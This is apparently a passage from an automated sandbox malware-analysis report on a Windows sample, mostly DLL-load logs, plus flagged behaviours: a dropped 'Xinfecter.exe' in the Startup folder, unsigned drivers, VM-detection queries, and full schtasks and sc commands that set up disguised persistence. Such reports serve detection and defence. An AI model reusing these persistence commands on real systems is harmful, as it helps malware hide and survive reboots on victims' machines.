      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: xmllite.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: framedynos.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dllJump to behavior
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: edputil.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: windows.staterepositoryps.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: policymanager.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: msvcp110_win.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: appresolver.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: bcp47langs.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: slc.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: sppc.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: onecorecommonproxystub.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: pcacli.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\System32\cmd.exeSection loaded: sfc_os.dllJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\systeminfo.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: slc.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dll
      Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
      Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\find.exeSection loaded: ulib.dll
      Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: apphelp.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: netapi32.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: wininet.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: samcli.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: dsrole.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: netutils.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: cryptsp.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: rsaenh.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: cryptbase.dll
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dll
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: ulib.dll
      Source: C:\Windows\SysWOW64\find.exeSection loaded: fsutilext.dll
      Source: C:\Windows\SysWOW64\timeout.exeSection loaded: version.dll
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v /fo csv
      Source: Window RecorderWindow detected: More than 3 window changes detected
      Source: GD8c7ARn8q.exeStatic file information: File size 1260544 > 1048576
      Source: GD8c7ARn8q.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
      Source: GD8c7ARn8q.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
      Source: GD8c7ARn8q.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
      Source: GD8c7ARn8q.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
      Source: GD8c7ARn8q.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
      Source: GD8c7ARn8q.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
      Source: GD8c7ARn8q.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: GD8c7ARn8q.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
      Source: GD8c7ARn8q.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
      Source: GD8c7ARn8q.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
      Source: GD8c7ARn8q.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
      Source: GD8c7ARn8q.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
      Source: GD8c7ARn8q.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_0090083D LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_0090083D
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F1CD7 push ecx; ret 0_2_008F1CEA
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008F2336 push ecx; ret 0_2_008F2349
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F52336 push ecx; ret 43_2_00F52349
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 43_2_00F51CD7 push ecx; ret 43_2_00F51CEA

      Persistence and Installation Behavior

      barindex
      Sample is not signed and drops a device driver
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Windows\SysMain.sysJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Users\user\AppData\N-Save.sysJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to dropped file

      Boot Survival

      barindex
      Drops PE files to the startup folder
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to dropped file
      Uses schtasks.exe or at.exe to add and modify task schedules
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /f
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe\:Zone.Identifier:$DATAJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe\:Zone.Identifier:$DATAJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto

      Hooking and other Techniques for Hiding and Protection

      barindex
      Uses known network protocols on non-standard ports
      Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 3586
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeCode function: 0_2_008DA088 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_008DA088
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\systeminfo.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOX

      Malware Analysis System Evasion

      barindex
      Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
      Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
      Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeAPI coverage: 8.5 %
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeAPI coverage: 2.3 %
      Source: C:\Windows\SysWOW64\timeout.exe TID: 1296Thread sleep count: 125 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 4700Thread sleep count: 129 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 4528Thread sleep count: 132 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 1444Thread sleep count: 131 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 5952Thread sleep count: 131 > 30
      Source: C:\Windows\SysWOW64\timeout.exe TID: 3212Thread sleep count: 126 > 30
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
